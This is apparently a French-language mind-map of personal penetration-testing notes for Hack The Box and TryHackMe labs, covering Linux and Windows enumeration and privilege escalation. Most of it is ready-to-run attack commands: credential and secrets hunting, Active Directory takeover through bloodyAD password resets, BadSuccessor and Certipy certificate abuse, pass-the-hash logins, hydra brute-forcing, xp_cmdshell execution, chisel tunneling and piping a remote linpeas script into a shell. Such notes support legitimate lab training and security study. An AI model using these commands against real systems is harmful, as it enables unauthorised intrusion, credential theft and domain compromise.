Категории: Все - web

по Anthony Guilbert 4 дней назад

486

Cybermap

Cybermap

RCE/REVSHELL/ETC

LINUX

Annexes
PSSPY -- todo
Chisel
Initial testing

Fichiers interessants :

/home/*
/opt
/srv
/var/www
/var/backup
/var/log


Fichiers potentiellement sensibles :

find / -type f \( -iname "*.db" -o -iname "*.sqlite" -o -iname "*.db3" \) 2>/dev/null


find / -type f \( -name ".env" -o -name ".git" -o -iname "*config*" -o -iname "*secret*" -o -iname "*credential*" -o -iname "*.bak" -o -iname "*.old" \) 2>/dev/null


Enumeration manuelle :

sudo -l (L !)
ps aux / ps -ef
whoami && id && hostname && uname -a
groups
env


docker dispo ? > Annexe : Docker escape


Crontab

crontab -l
ls -la /etc/cron* /var/spool/cron/


Capabilities / suid etc

http[s]://gtfobins.github.io/

getcap -r / 2>/dev/null
find / -perm -4000 -type f 2>/dev/null


Réseau

ss -tulnp
netstat -antup



















WINDOWS

Commandes outils
Deleted objects

Files

Find files  

(New-Object -ComObject Shell.Application).Namespace(0xA).Items() | ForEach-Object { "$($_.Name) - $($_.Path)" }


Restore file

Copy-Item 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z' -Destination 'C:\Users\f.frizzle\Desktop\\wapt-backup-sunday.7z'


List - via LDAPsearch

ldapsearch -H ldap://10.10.11.72 -D 'user' -w 'password' -b "CN=Deleted Objects,DC=CHANGEME,DC=CHANGEME" -E '!1.2.840.113556.1.4.417' "(objectClass=user)" msDS-LastKnownRDN distinguishedName whenChanged


List - via powershell

Get-ADObject -Filter 'ObjectClass -eq "user"' -IncludeDeletedObjects -Properties * | Where-Object { $_.IsDeleted -eq $true } | Select-Object Name, DistinguishedName, ObjectSID



Restore

Restore-ADObject -Identity "*"
* = replace with the full DN ( CN=, DC=) that you got from the list cmd

BloodyAD

Ajouter un utilisateur dans un groupe

bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password add groupMember GROUP_NAME controlledUser


Lister les utilisateurs d'un groupe

bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get groupMember groupName


Changer le mot de passe d'un utilisateur

bloodyAD --host DC_IP -d DOMAIN -u privilegedAccount\$ -p privilegedAccountPasswordHash set password TargetUser NewPassword


Lister les groupes d'un utilisateur

bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get membership controlledUser



--------------------------------------------------------------------------------------


Badsuccessor - AD 2025

bloodyAD -s --host "dc.DOMAIN.TLD" -d "DOMAIN.TLD" -u 'USERNAME' -p 'NTLMHASH' -k add badSuccessor TARGETUSER --ou 'OU=OU_NAME,DC=DOMAIN,DC=TLD'





















BadSuccessor - 2025

Badsuccessor - AD 2025

bloodyAD -s --host "dc.DOMAIN.TLD" -d "DOMAIN.TLD" -u 'USERNAME' -p 'NTLMHASH' -k add badSuccessor TARGETUSER --ou 'OU=OU_NAME,DC=DOMAIN,DC=TLD'


Users

Changer le mot de passe d'un utilisateur

bloodyAD --host DC_IP -d DOMAIN -u privilegedAccount -p privilegedAccountPassword set password TargetUser NewPassword


Groups

Ajouter un utilisateur dans un groupe

bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password add groupMember GROUP_NAME controlledUser


Lister les utilisateurs d'un groupe

bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get groupMember groupName


Lister les groupes d'un utilisateur

bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get membership controlledUser


DACLedit

List a user's ACEs using dacledit

List ACEs

dacledit.py domain/"user":'password' -dc-ip ip -target username -principal-sid S-1-5-10

Bloodhound/ .py

python3 ../BloodHound.py/bloodhound.py -d DOMAIN -dc DOMAIN -ns IP --zip -c All -u "USER" -p "PASSWORD"

Certipy (>5.0 !)

Installation avec pipx install certipy-ad !


Mindmap réalisée sous certipy 5.0.2

python3.12 >

ESC

nxc permet de faire de l'énumération rapide et simple sur les comptes windows, que ca soit du SMB, check si le compte peut faire du winrm rdp etc

Lien du wiki avec tout les tutos de privesc via ESC :

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#

ESC16

Lire attributs :

certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -user 'targerUser' read



Changer l’UPN → administrator (il faut certains droits evidemment) :

certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -upn 'administrator' -user 'targetUser' update


Récup ccache + demande de certificat avec

certipy shadow -u 'controlledUser@Domain' -p 'password' -dc-ip 'ip' -account 'targetAccount' auto

export KRB5CCNAME=*.ccache

certipy req -k -dc-ip 'ip' -target 'dc01.xxx.htb' -ca 'xx-DC01-CA' -template 'User'


Réinitialiser l'UPN 

certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -upn 'initialUPN' -user 'targetUser' update



Authentification avec le certificat

certipy auth -dc-ip 'ip' -pfx 'administrator.pfx' -username 'administrator' -domain 'domain'


Connexion finale

evil-winrm -u administrator -H hash -i ip
tree /a /f 

ESC15

Prérequis:

Schema version : 1

ENROLLEE_SUPPLIES_SUBJECT : TRUE


0️⃣ Request Get CA infos

C:\Windows\System32\certutil.exe


1️⃣ Request Enrollment Agent cert (one-liner)

certipy req -u 'controlledUser@domain' -p 'password' -dc-ip 'DC_IP' -target 'CA_HOST' -ca 'CA_NAME' -template 'EnrollmentAgentTemplate' -application-policies 'Certificate Request Agent'

2️⃣ Request Administrator cert on-behalf-of (one-liner)

certipy req -u 'controlledUser@domain' -p 'password' -dc-ip 'DC_IP' -target 'CA_HOST' -ca 'CA_NAME' -template 'User' -on-behalf-of 'DOMAIN\\TargetUser' -pfx 'controlledUser.pfx'

3️⃣ Authenticate as Administrator with the cert (one-liner)

certipy auth -pfx 'TargetUser.pfx' -dc-ip 'DC_IP'


KESBEROASTABLE

KESBEROASTABLE

certipy shadow auto -u 'user@domain' -p 'password' -account 'targetUser' -dc-ip 'ip'


FIND

Récupérer les certificats vulnérables + check ESC

certipy find -u targetUser@domain -hashes :targetNTLMHash -target domain -dc-host dcHost.domain -dc-ip targetIP -vulnerable -stdout

g

Quelques commandes ou autres à faire quand on bosse avec du windows



Avant de commencer une box, lire la partie sur la synchro de la date !



Toujours prendre le reflexe de faire un fichier users et un fichier passwords


UTILISER NETEXEC A FOND

nxc permet de faire de l'énumération rapide et simple sur les comptes windows, que ca soit du SMB, check si le compte peut faire du winrm rdp etc


Donc à chaque nouveau compte :

nxc protocole ip -u "user/userFile" -p "password/passFile" 


Exemple d'énum de base quand on nous donne un user :

nxc smb ip -u "utilisateur" -p "mdp" users
nxc smb ip -u "utilisateur" -p "mdp" shares
nxc winrm ip -u/-p 



Si aucune info ou quoi -> bloodhound

You have a shell ? (Winrm/powershell access)

whoami /all 
net localgroup -group-
net user /domain

Sync time for kerberos attacks

Sync your time&date with the server in order to perform multiple kerberos attacks


First method :

sudo rdate -r IP 


Second method :

sudo ntpdate IP


If it doesnt work :

sudo systemctl stop systemd-timesyncd
sudo systemctl disable systemd-timesyncd


To reset the time :

sudo ntpdate -r pool.ntp.org

Cybermap

Things i'm keeping whendoing htb, thm, ptd etc boxes

Pivoting / Tunneling

Tunneling & Port Forwarding
VPN-like -- sshutle

sshuttle te donne accès à tout le réseau routable par la cible, sauf :

⚠️ Exemple :

tcp 127.0.0.1:8080 → ❌ inaccessible via sshuttle
tcp 0.0.0.0:80     → ✅ accessible via sshuttle
tcp 192.168.1.100:22 (autre machine interne) → ✅ accessible via sshuttle

Donc sshuttle = VPN vers réseau


Mais pas un accès aux services uniquement en localhost sur la machine SSH elle-même.

sshuttle -r username@sshserver 0.0.0.0/0



Exemple serveur web en écoute sur localhost

Sans accès SSH -- chisel

📌 Étape 1 – Lancer le serveur Chisel sur la victime :

Sur la victime (10.10.11.64), upload chisel et lance :

./chisel server --reverse --port 9999


📌 Étape 2 – Depuis ton hôte, lancer le client Chisel :

chisel client 10.10.11.64:9999 R:8080:127.0.0.1:8080



Sur l'exemple dessus, on peux apres sur l'host se connecter via


http://localhost:8080/login/

Avec un accès SSH

ssh -L 8080:127.0.0.1:8080 tobias@10.10.11.64


Le premier port = local

Le deuxième = distant

ssh -fNL xxx = en background


Verifier ce qui écoute sur localhost

Protocoles divers

SSH
Test de se co pour la bannière
Connexion si on a la clé privée

ssh -i id_rsa user@ip

SMTP
hydra -l operator -P wordlist.txt ipip smtp
smtp-user-enum -U /usr/share/wordlists/metasploit/unix_users.txt 10.150.150.17 25
SMB

Lister les shares

smbclient -L //ip/ -U 'user%password'


Se connecter avec le client sur un share spécifique

smbclient //ip/share -U 'user%password'


Télécharger tout les fichiers

On se connecte au share puis dans le client

PROMPT off
mget *

POP3
hydra -l operator -P wordlist.txt ip pop3
NFS
showmount -e IP
sudo mount -t nfs ip:/remote /local
sudo umount 10.150.150.59:/nfsroot
rpcinfo IP
Mysql
mysql -h localhost -u sql_user -p
mysqldump -u root -p --all-databases > alldb.sql
MSSQL
EXEC xp_cmdshell 'powershell -encodedcommand ';

setup un listener avant

mssqlclient.py sequel.htb/sa:MSSQLP@ssw0rd!@10.10.11.51
FTP
Login anon à vérif
DNS
! AXFR !

dig @mortysserver.com mortysserver.com axfr

Ajout dans /etc/hosts si besoin

Exemple : 10.150.150.57 rickscontrolpanel.mortysserver.com

Misc

KERBEROS
Sync time

Sync your time&date with the server in order to perform multiple kerberos attacks


First method :

sudo rdate -r IP 


Second method :

sudo ntpdate IP


If it doesnt work :

sudo systemctl stop systemd-timesyncd
sudo systemctl disable systemd-timesyncd

Enumerer les ports en écoute locale
ss -tunlp
netstat -antup
Dumb shell upgrade

script /dev/null -qc /bin/bash 



python3 -c 'import pty; pty.spawn("/bin/bash")' 

NMAP

Nmap Automator
nmap -sV -sC -T5 -p- ip
sudo nmap -p- -sS -sV -O --script "safe and not intrusive" -T4 -Pn -oA nmap_fullsafe
IDS/Firewalls
ncat -nv --source-port 53 10.129.2.28 50000
nmap -sS -Pn -n -p- --disable-arp-ping -D RND:3 --source-port 53 ip
nmap -sSU --script dns-nsid ip

Transfer files - windows

target (windows)
Invoke-WebRequest -Uri http://10.10.16.35:7676/SharpGPOAbuse.exe -OutFile SharpGPOAbuse.exe
host (linux)
python3 -m http.server port

Find files

Windows
Hidden deleted file

Download file

Copy-Item 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z' -Destination 'C:\Users\f.frizzle\Desktop\\wapt-backup-sunday.7z'

Find file

(New-Object -ComObject Shell.Application).Namespace(0xA).Items() | ForEach-Object { "$($_.Name) - $($_.Path)" }

tree /a /f
@for /r C:\ %i in (FLAG??.txt) do @echo %i && @type "%i"
Linux
Other

grep -r pattern

search in files ( -recursive )

Find

find / -type f -name 'FLAG[0-9][0-9]' 2>/dev/null

find ./* | grep FLAG3

find / \( -name ".env" -o -name ".git" \) 2>/dev/null

find / -type f -name 'FLAG[0-9].txt' 2>/dev/null

Privesc

Python Library Hijacking
Script qui tourne en root avec des imports de librairies
Linux
LXC/LXD

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

SUID

find / -perm -u=s -type f 2>/dev/null

Lien symbolique

ln -s /root /home/michael/importantfiles/rootbackup

searchsploit

searchsploit -m chemin

searchsploit xxxx

linpeas

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

WEB

Wordpress
Bruteforce

wpscan --url url_wordpress --passwords wordlist

Enumération users

wpscan --url url --enumerate u

wpscan --url https://www.hackinprovence.fr/ -e u
Check template et plugins vulnérables

wpscan --url url --enumerate vp,vt

PHP Filters
python3 script.py --chain ''

https://github.com/synacktiv/phpfilterchaingenerator/blob/main/phpfilterchaingenerator.py

Enumération/Subdomain
wfuzz

Subdomain enumeration

wfuzz -c -t 100 -z file,<wordlist> --sc 200 -H "Host: FUZZ.planning.htb" http://planning.htb/

ffuf -u http://planning.htb/ -w <wordlist> -H "Host: FUZZ.planning.htb" -mc 200 -t 200 -v 




Enum

wfuzz -c -z file,wordlist --follow -H "Cookie: PHPSESSID=ah09c3b0431vss4il8gg4ih2fl" --hh 2985 "http://nocturnal.htb/view.php?username=FUZZ&file=.docx"



Paramètres

-z mode de fuzz

--follow pour suivre les redirects


--hh xx => Ignore les réponses de xx caractères



--sc => filtre par codes ( -sc 200 - affiche que les 200 )

--hc => filtre exclusif ( -hc 404,301,etc )

FeroxBuster

feroxbuster -u http://example.com -w wordlist -x php,html,txt -v -o output.txt --filter-status 404 


feroxbuster -u url -w ~/Desktop/SecLists-master/Discovery/Web-Content/common.txt --filter-status 404 



Paramètres

-k = certif autosigné


Gobuster ( USEME )


gobuster vhost -u http://planing.htb -w /usr/share/wordlists/seclist/Discovery/DNS/namelist.txt --append-domain -t 200

Bruteforce Forms
Hydra

Bruteforce Protocole

hydra -l operator -P wordlist.txt 10.150.150.56 <protocole> 

Formulaire POST

hydra -L users -P passwords 10.150.150.38 -s 30609 http-post-form "/login/index.php:username=^USER^&password=^PASS^&s_mod=login&s_pg=index:F=Username or Password wrong"

Basic auth

hydra -L users -P /usr/share/wordlists/rockyou.txt http-get://127.0.0.1:8000/ -V -t 64


Paramètres

-s = port

Stegano

searchsploit
searchsploit -m xxxxx
Depixelise
Unredactor
Depix

python3 depix.py -p pixel_image -s images/searchimages/image.png

Stereogram
https://piellardj.github.io/stereogram-solver/
Aperisolve
Steghide
steghide extract -sf screen.jpeg